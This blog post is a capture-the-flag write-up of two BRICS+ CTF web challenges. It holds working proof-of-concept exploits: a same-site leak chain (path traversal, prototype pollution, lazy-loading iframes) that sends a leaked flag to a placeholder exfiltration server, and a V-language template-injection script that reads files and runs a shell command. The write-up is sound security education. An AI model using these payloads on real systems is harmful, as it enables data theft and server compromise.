WebSec. CTFs. Research.

VLang Template Injection, Lazy Loading Iframes, SS-leaks - BRICS+ CTF Quals

This weekend I participated in BRICS+ CTF Qualifications, organized by C4T BuT S4D alongside other members of Friendly Maltese Citizens team where we managed to qualify for the finals 🎉.

I always enjoy participating in Russian CTFs since they always have realistic/real world applicable challenges :)

Having said that, we managed to solve all web challenges and here’s my writeup for 2/3 challs (which I worked on).

web/Excess:

This was the hardest challenge of the CTF, ending with only 3 solves.
I could’ve gotten the first blood on it since I had a working solution 2 hours before the first team that blooded it, but my server had a dumb SSL issue which I did not realize, making my solution fail :( .

I worked on this challenge together with IcesFont and Trixter from the team, and wouldn’t have solved it without them.

The setup for the challenge was weird, it had a frontend built with TypeScript+React and a backend in C++.
I still have no idea what was the purpose of such setup as C++ wasn’t related to the solution (unless our solution was unintended but yeah).

The setup was a typical client-side challenge, where we have to fool the bot to give us the flag:

const crypto = require("node:crypto");
const process = require('node:process');
const child_process = require('node:child_process');

const puppeteer = require("puppeteer");

const readline = require('readline').createInterface({
    input: process.stdin,
    output: process.stdout,
    terminal: false,
});
readline.ask = str => new Promise(resolve => readline.question(str, resolve));

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));

const FLAG = process.env.FLAG || 'flag{example_flag}';
const TIMEOUT = process.env.TIMEOUT || 300 * 1000;
const EXCESS_URL = process.env.EXCESS_URL || 'http://localhost:31337/';

const POW_BITS = process.env.POW_BITS || 28;

async function pow() {
    const nonce = crypto.randomBytes(8).toString('hex');

    console.log('[*] Please solve PoW:');
    console.log(`hashcash -q -mb${POW_BITS} ${nonce}`);

    const answer = await readline.ask('> ');

    const check = child_process.spawnSync(
        '/usr/bin/hashcash',
        ['-q', '-f', '/tmp/bot/hashcash.sdb', `-cdb${POW_BITS}`, '-r', nonce, answer],
    );
    const correct = (check.status === 0);

    if (!correct) {
        console.log('[-] Incorrect.');
        process.exit(0);
    }

    console.log('[+] Correct.');
}

async function visit(url) {
    const params = {
        browser: 'chrome',
        args: [
            '--no-sandbox',
            '--disable-gpu',
            '--disable-extensions',
            '--js-flags=--jitless',
        ],
        headless: true,
    };

    const browser = await puppeteer.launch(params);
    const context = await browser.createBrowserContext();

    const pid = browser.process().pid;

    const shutdown = async () => {
        await context.close();
        await browser.close();

        try {
            process.kill(pid, 'SIGKILL');
        } catch(_) { }

        process.exit(0);
    };

    const name = crypto.randomBytes(8).toString('hex');
    const password = crypto.randomBytes(8).toString('hex');

    const page1 = await context.newPage();
    await page1.goto(EXCESS_URL);

    await page1.waitForNavigation();

    await page1.waitForSelector('input[name="name"]');
    await page1.type('input[name="name"]', name);
    await page1.waitForSelector('input[name="password"]');
    await page1.type('input[name="password"]', password);
    await page1.waitForSelector('#register');
    await page1.click('#register');

    await page1.waitForSelector('#add');
    await page1.click('#add');

    await page1.waitForSelector('input[name="title"]');
    await page1.type('input[name="title"]', 'flag');
    await page1.waitForSelector('input[name="content"]');
    await page1.type('input[name="content"]', FLAG);
    await page1.waitForSelector('#add');
    await page1.click('#add');

    await page1.waitForSelector('#back');
    await page1.close();

    setTimeout(() => shutdown(), TIMEOUT);
    
    const page2 = await context.newPage();
    await page2.goto(url);
}

async function main() {
    if (POW_BITS > 0) {
        await pow();
    }

    console.log('[?] Please input URL:');
    const url = await readline.ask('> ');

    if (!url.startsWith('http://') && !url.startsWith('https://')) {
        console.log('[-] Invalid scheme.');
        process.exit(0);
    }

    console.log('[+] OK.');

    readline.close()
    process.stdin.end();
    process.stdout.end();

    await visit(url);

    await sleep(TIMEOUT);
}

main();

Basically, the bot creates a post with the flag as the content, we need to steal that.

An XSS would defeat that easily, however the server sanitizes the message content quite well:

std::string EscapeHtml(const std::string& str) {
    std::stringstream stream;

    for (auto& symbol : str) {
        if (!EscapeCharacters.contains(symbol)) {
            stream << symbol;
            continue;
        }

        stream << EscapeCharacters.at(symbol);
    }

    return stream.str();
}

std::string Server::RenderMessage(const Models::Message& message) {
    auto title = EscapeHtml(message.GetTitle());
    auto author = EscapeHtml(message.GetAuthor());
    auto content = EscapeHtml(message.GetContent());

    auto size = snprintf(
        nullptr, 0,
        MessageTemplate,
        title.c_str(), author.c_str(), content.c_str()
    );

    auto buffer = reinterpret_cast<char*>(alloca(size + 1));

    snprintf(
        buffer, size + 1,
        MessageTemplate,
        title.c_str(), author.c_str(), content.c_str()
    );

    return std::string(buffer);
}

The server also provides a search functionality, so we can check if a string X is inside the post:

void Api::HandleSearchMessages(const httplib::Request& req, httplib::Response& res) {
    auto author = GetCurrentAuthor(req, res);

    if (!author.has_value()) {
        throw BadRequestError("anonymous user");
    }

    std::string content;

    if (req.has_param("content")) {
        content = req.get_param_value("content");

        if (!ValidateInput(content)) {
            throw BadRequestError("incorrect `content` value");
        }
    }

    auto messages = BlogService.GetAllMessages(author.value());

    std::vector<Models::Message> filtered;

    for (auto& message : messages) {
        if (message.GetContent().find(content) != std::string::npos) {
            filtered.push_back(message);
        }
    }

    if (filtered.size() == 0) {
        nlohmann::json result = {
            {"success", false},
        };

        res.status = httplib::StatusCode::NotFound_404;
        res.set_content(result.dump(), JsonContentType);

        return;
    }

    auto response = nlohmann::json::array();

    for (auto& message : filtered) {
        response.push_back({
            {"id", message.GetId()},
            {"title", message.GetTitle()},
        });
    }

    nlohmann::json result = {
        {"success", true},
        {"response", response},
    };

    res.status = httplib::StatusCode::OK_200;
    res.set_content(result.dump(), JsonContentType);
}

For example:

  • /api/messages?content=brics+{ -> 200 status

  • /api/messages?content=blabla -> 404 status

This sounds like a basic XS-search scenario, where we can detect the status code and leak the flag by that oracle.

Well.. nope, the cookies are explicitly set to SameSite=lax so it won’t work, since they won’t be attached to our requests.

We thought of using the :visited selector to repaint the visited links (containing the flag) but iirc that requires more user interaction than we can afford.

Step 1: React HTML injection (CSPT + CSPP)

Obviously, we had to change our approach, hence IcesFont came up with something.

Since the frontend is built with React, our pretty much only way to get XSS is through a dangerouslySetInnerHTML sink.

That happens to be the case inside client/src/components/pages/ViewMessagePage/index.tsx :

const ViewMessagePage: React.FunctionComponent = () => {
    const { id } = useParams();

    const navigate = useNavigate();

    const [html, setHtml] = useState('');
    const [error, setError] = useState<string | undefined>(undefined);

    useEffect(() => {
        loadMessage();
    }, []);

    if (typeof id === 'undefined') {
        navigate('/blog');
        return <></>;
    }

    const loadMessage = async () => {
        const response = await Api.RenderMessage({ id });

        if (typeof response.error !== 'undefined') {
            setError(response.error);
            return;
        }

        setError(undefined);
        setHtml(response.response!);
    };

    const backClickHandler: React.EventHandler<React.SyntheticEvent<HTMLButtonElement>> = async (event) => {
        event.preventDefault();

        navigate('/blog');
    };

    return (
        <div className='ViewMessagePage'>
            <div className='ViewMessagePage-Header'>
                <span className='ViewMessagePage-Title'>Excess | Message</span>
            </div>
            <div className='ViewMessagePage-Container'>
                <Error error={error}/>
                <div className='ViewMessagePage-Message' dangerouslySetInnerHTML=></div>
                <div className='ViewMessagePage-Buttons'>
                    <Button onClick={backClickHandler} id='back' text='Back'/>
                </div>
            </div>
        </div>
    );
};

Per React documentation, useState works the following way:

useState returns an array with exactly two values:

  • The current state. During the first render, it will match the initialState you have passed.

  • The set function that lets you update the state to a different value and trigger a re-render.

So basically, if we can circumvent the response inside the setHTML() we can modify the html that ends up inside our sink..

Let’s take a look at RenderMessage:

export const RenderMessage = async (req: RenderMessageRequest): Promise<RenderMessageResponse> => {
    const url = `/api/render/${req.id}`;
    const response = await fetch(url, {
        mode: 'cors',
    }).then(r => r.text());

    try {
        const json = JSON.parse(response);

        return {
            error: json.error,
        };
    } catch(_) {
        return {
            response: response,
        };
    }
};

The /api/render endpoint doesn’t return valid JSON, so there wouldn’t be any ways to somehow mess up the response since it’ll trigger an exception and return before setting html:

if (typeof response.error !== 'undefined') {
            setError(response.error);
            return;
        }

However req.id is definitely not sanitized, so we can do a Client-Side Path Traversal/CSPT to an endpoint that does, i.e /message/..%2F..%2F..%2Fapi%2Fmessages .

All that is left is to control the response of setHtml(response.response!) , which is also pretty easy.

If we take a look at src/client/src/Context/index.tsx we can notice a really simple Client-Side Prototype Pollution/CSPP:

export const ContextProvider = (props: IContextProviderProps) => {
    const [name, setName] = useState<string | undefined>(undefined);

    const context: any = { name, setName };
    const previous: string = decodeURIComponent(window.location.hash.slice(1));

    JSON.parse(previous || "[]").map(([x, y, z]: any[]) => context[x][y] = z);

    return (
        <Context.Provider value={context}>
            {props.children}
        </Context.Provider>
    );
};

A React Context is used for sharing data across components without having to pass props down through multiple levels of the component tree - in translation, it’s kindof like a frontend middleware, which will trigger on every page, which works perfectly for us.

We can achieve CSPP simply by passing the payload in the URL hash fragment.

Adding it all together we have an HTML injection:

  • http://target/message/..%2F..%2F..%2Fapi%2Fmessages#[["__proto__","response","<h1>hello buddy</h1>"]]

Image

Doesn’t this mean we also have XSS? .. well, no, since the server sets a quite restrictive CSP alongside some other security headers:

void SetSecurityHeaders(const httplib::Request &req, httplib::Response &res) {
    res.set_header("Access-Control-Allow-Origin", "*");
    res.set_header("Content-Security-Policy", "sandbox allow-scripts allow-same-origin; default-src 'self';");
    res.set_header("Cross-Origin-Resource-Policy", "same-origin");
    res.set_header("Referrer-Policy", "same-origin");
    res.set_header("X-XSS-Protection", "1; mode=block");
    res.set_header("X-Frame-Options", "SAMEORIGIN");
    res.set_header("X-Content-Type-Options", "nosniff");
}

Step 2: CSP bypass via SS-leaks

Having HTML injection means we’re now in same-site context, so our worries about cookies are finally gone, so we can use Same-Site leaks to leak data from the previously mentioned search functionallity!

The blogpost given above mentions leaking data via <object> + Lazy Loading Images.

Basically the oracle looks like the following:

<object data="/api/v1/leaky?secret=a">
    <img src="https://evil.com?callback" loading="lazy">
</object>

If the leaked character is incorrect, the image will get created and call our server, which is a really cool oracle to abuse.

However, there’s another issue, our CSP doesn’t include an img-src * directive, so we have no way to exfiltrate the data to our server.

How do we do it?

Enter Lazy Loading Iframes + Frame Counting XS-leak…

We figured out that if you embded a lazy loading iframe, with the HTMLi URL that nests another iframe within it, we can sort-of abuse a Frame Counting XS-leak technique where we:

  1. Open a window with the HTMLi
  2. Try to access the inner nested iframe cross-origin via win[0][0]
  3. If an exception is thrown, the leaked character is correct

The idea looks like the following:

<object data="/api/messages?content=a">
  <iframe src="/message/..%2F..%2F..%2Fapi%2Fmessages#[\"__proto__\", \"response\", \"<iframe src=/message></iframe>\"]" loading="lazy"></iframe>
</object>

I find this technique really cool since it’s probably unintended for the challenge and definitely usable elsewhere, considering not always we can exfiltrate data outside!

  • Note: For some reason, the frame count was always constant so we couldn’t abuse regular frame counting (while Trixter mentioned the behaviour is different in Firefox which is worth noting anyways)

Step 3: Adding it all together

Chaining all of this together I wrote a dirty PoC that leaks the whole flag char-by-char:

<!DOCTYPE html>
<html>
    <head>
        <script>
            const charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!_-@$+-#}';

            (async () => {
                    let current = 'brics+{';
                    let guess_index = 0;

                    while (true) {
                        if (guess_index >= charset.length) {
                            console.log("[*] Done leaking flag!");
                            navigator.sendBeacon("http://EXFIL-SERVER", current);
                            break;
                        }

                        const guess = charset[guess_index];

                        const inner_payload = `/message/..%2F..%2F..%2Fapi%2Fmessages#` + encodeURIComponent(JSON.stringify([
                            ['__proto__', 'response', `<iframe src="/message"></iframe>"`],
                        ]));

                        const payload = `<object data="/api/messages?content=${encodeURIComponent(current + guess)}"><iframe src="${inner_payload}" loading="lazy"></iframe></object>`;

                        const target = `http://localhost:31337/message/..%2F..%2F..%2Fapi%2Fmessages#` + encodeURIComponent(JSON.stringify([
                            ['__proto__', 'response', payload],
                        ]));

                        const win = window.open(target, '_blank');

                        await new Promise(resolve => setTimeout(resolve, 1000));

                        try {
                            guess_index += 1;
                            console.log(current + guess);
                            console.log(win[0][0]); // exception=char was good
                        } catch (err) {
                            current += guess;
                            console.log("[*] " + current);
                                  navigator.sendBeacon("http://EXFIL-SERVER", current);
                            guess_index = 0;
                        } finally {
                            win.close();
                        }
                    }
            })();
        </script>
    </head>
    <body></body>
</html>

Exploit in action:

Image

web/villa:

This challenge is written in the V language, which is definitely not common to many people, however I thought of checking it out first considering I’ve read about it while spending my days as a golang developer (at the time, I knew V is a currently failed attempt to expand on Go & other languages XD).

Looking at the entrypoint.sh the flag is inside a text file with a random name inside /tmp/villa (I confirmed this by checking it in the Docker container):

#!/bin/bash

export FLAG=${FLAG:-"flag{example_flag}"}
echo $FLAG > flag.txt
unset FLAG

random="$(dd if=/dev/urandom bs=16 count=1 | xxd -ps)"
mv "flag.txt" "flag.${random}.txt"

cp villa.html villa.html.bak

while true; do
    sleep 30
    cp villa.html.bak villa.html
done &

./v-0.4.8/v watch -k run main.v

There also seems to be a weird backup cronjob kind of thing, that backups the villa.html file, I suppose in case someone ruins it..

The main functionality is within the main.v file:

module main

import os
import vweb

struct App {
    vweb.Context
}

@['/'; get; post]
fn (mut app App) index() vweb.Result {
    return $vweb.html()
}

@['/villa'; get; post]
fn (mut app App) villa() vweb.Result {
    if app.req.method == .post {
        os.write_file('villa.html', $tmpl('template.html')) or { panic(err) }
    }

    return $vweb.html()
}

fn main() {
    app := &App{}
    
    params := vweb.RunParams{
        port: 8080,
        nr_workers: 1,
    }

    vweb.run_at(app, params) or { panic(err) }
}

It appears that the server-side uses their own templating engine to render $tmpl('template.html') and then write it into the main page / villa.html .

This is the source of template.html :

<h1>current owner: 🏆 <span>@app.req.data</span> 🏆 </h1>
<pre>
                 ._____________________________.
                ///(///(///(///(///(///(///(////\
               ///(///(///(///(///(///(///(///(  \
              ///(///(///(///(///(///(///(///(   |
             ///(///(///(///(///(///(///(///(  . |
             |  ___    ___    ___   _____  | .'| |
             | |_|_|  |_|_|  |_|_| |__|__| | |.' |
             | |_|_|  |_|_|  |_|_| |__|__| | ' . ||'--:|
             |    __   _____    _ %%%____  | .'| |  .|
             |   |  | |__|__|  |_%%%%%___| ||.' .'.|   .' 
             |   | .| |__|__|  |%%%:%%___| |' .'.|   .'  
             |___|__|___________%%::%______|.'.|   .'  
           .|   '-=-.'            :'       .|    .'  
         .|   '   .               :      .|    .'  
       .|   '   .                       .|   .'  
      |'--'|==||'--'|'--'|'--'|'--'|'-'|   .'  
      =jim================================'  
</pre>

Great, so all we need to do is insert some kind of SSTI payload there.. however Vlang’s templating engine is severely limited ..uhm.. undocumented.

Reading this, I learned that we can use ${} and @{} for string interpolation (i.e reading local variables) and calling functions (i’m not sure about their difference, feel free to leave a comment if I’m wrong, but from reading i’ve seen ${} mainly used just for interpolation, while functions with return values were being called inside @{} ).

Considering Vlang doesn’t support dynamic imports like python, and all file-related operations being limited to the os library, which we can’t import, we will have to rely on this.

Using this, we can read the web server config, simply by calling @app , so I started looking for things that may inherit os from somewhere - the answer was in the web framework vweb that the code uses, all we have to do is find a gadget.

Quickly enough I found the following gadget in https://github.com/vlang/v/blob/master/vlib/vweb/vweb.v#L996:

fn (mut ctx Context) scan_static_directory(directory_path string, mount_path string, host string) {
    files := os.ls(directory_path) or { panic(err) }
    if files.len > 0 {
        for file in files {
            full_path := os.join_path(directory_path, file)
            if os.is_dir(full_path) {
                ctx.scan_static_directory(full_path, mount_path.trim_right('/') + '/' + file,
                    host)
            } else if file.contains('.') && !file.starts_with('.') && !file.ends_with('.') {
                ext := os.file_ext(file)
                // Rudimentary guard against adding files not in mime_types.
                // Use host_serve_static directly to add non-standard mime types.
                if ext in mime_types {
                    ctx.host_serve_static(host, mount_path.trim_right('/') + '/' + file,
                        full_path)
                }
            }
        }
    }
}

Perfect! It lists all files in a specified directory and serves it back to us.. only issue is that the function is not public, so we need to find another one that calls it.

I found 3 such instances, and they all serve a similar purpose - mounting a specific directory as a static one.

For example https://github.com/vlang/v/blob/master/vlib/vweb/vweb.v#L1065 :

// host_mount_static_folder_at - makes all static files in `directory_path` and inside it, available at http://host/mount_path
// For example: suppose you have called .host_mount_static_folder_at('localhost', '/var/share/myassets', '/assets'),
// and you have a file /var/share/myassets/main.css .
// => That file will be available at URL: http://localhost/assets/main.css .
pub fn (mut ctx Context) host_mount_static_folder_at(host string, directory_path string, mount_path string) bool {
    if ctx.done || mount_path == '' || mount_path[0] != `/` || !os.exists(directory_path) {
        return false
    }
    dir_path := directory_path.trim_right('/')

    trim_mount_path := mount_path.trim_left('/').trim_right('/')
    ctx.scan_static_directory(dir_path, '/${trim_mount_path}', host)
    return true
}

The comments above the function explain it in the best way.

All that is left is to find an arbitrary file read gadget, which was relatively easy as well, https://github.com/vlang/v/blob/master/vlib/vweb/vweb.v#L284:

// Response with file as payload
pub fn (mut ctx Context) file(f_path string) Result {
    if !os.exists(f_path) {
        eprintln('[vweb] file ${f_path} does not exist')
        return ctx.not_found()
    }
    ext := os.file_ext(f_path)
    data := os.read_file(f_path) or {
        eprint(err.msg())
        ctx.server_error(500)
        return Result{}
    }
    content_type := mime_types[ext]
    if content_type.len == 0 {
        eprintln('[vweb] no MIME type found for extension ${ext}')
        ctx.server_error(500)
    } else {
        ctx.send_response_to_client(content_type, data)
    }
    return Result{}
}

Also, you don’t have to worry about the file extension check, it can be easily bypassed with \x00.<allowed-ext> as salvatore.abello shared in the discord (we need to read a txt file anyways so we’re all good).

All we have to do now is:

  • use the host_mount_static_folder_at gadget to mount the /tmp/villa directory into a static one

  • read the server config via @app to get a list of files, including the filename of the flag.

  • use the arb file read gadget to get the flag

Here’s a dirty PoC on how to do it:

import httpx 
import re 

def mount_static(client):
    payload = """
    @{dump(app.handle_static('/tmp/villa', true))}
    @{dump(app.host_handle_static('localhost', '/tmp/villa', true))}
    @{dump(app.mount_static_folder_at('/tmp/villa', '/leak'))}
    @app
    """
    
    resp = ""
    while "true" not in resp:
        try:
            resp = client.post("/villa", data=payload).text
        except:
            pass # server timeout
    
    flag_pattern = r'/tmp/villa/flag\.[a-f0-9]{32}\.txt'
    flag_loc = re.findall(flag_pattern, resp)
    
    return flag_loc[0]

def readflag(client, flag_loc):
    payload = "@{app.file('%s')}" % (flag_loc)
    
    resp = ""
    while True:
        try:
            resp = client.post("/villa", data=payload).text
            if "flag" in resp or "brics" in resp:
                print(resp)
                break
        except:
            pass # server timeout
    
    return resp

def exp():
    BASE_URL = "http://TARGET-URL"
    client = httpx.Client(base_url=BASE_URL)
    
    flag_loc = mount_static(client)
    readflag(client, flag_loc)
    
     
if __name__ == "__main__":
    exp()

As you can notice I combined all 3 gadgets I found for the mounting as I was lazy to check which one actually worked LOL.

* Side note: Someone in the discord also found a way to get full RCE, as shared by кек :

${ C.system(&char(“cat flag* > /tmp/villa/villa.html”.str)) } . yes, you can use C in V ))

That’s an insane functionality provided by the language XD

Sorry if the post for such an easy challenge is so lengthy, I felt like documenting these properly is a good idea since it’s a completely unexplored area .. who knows, maybe Vlang reaches a few production environments eventually :)